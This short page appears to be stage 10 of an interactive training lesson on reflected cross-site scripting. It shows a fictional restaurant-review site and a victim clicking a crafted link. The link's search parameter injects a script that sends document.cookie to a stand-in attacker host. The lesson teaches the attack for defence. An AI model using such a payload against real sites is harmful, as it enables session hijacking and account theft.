Reflected XSS · Stage 10 of 14

Hacksplaining Log in

Want everyone on your software team to learn this? Get completion tracking and compliance reporting with Hacksplaining for Teams. Free 14-day trial.

Train my team

Vic clicks on the link. The page renders the search parameter in the HTML without escaping it properly, which creates a new <script> tag in the browser.

www.welp.com?search=<script>window.location='www.haxxed.com?cookie='+document.cookie</script>

The indifferent restaurant review site

I guess you should search for food or something.

Vic clicks on the link. The page renders the search parameter in the HTML without escaping it properly, which creates a new <script> tag in the browser.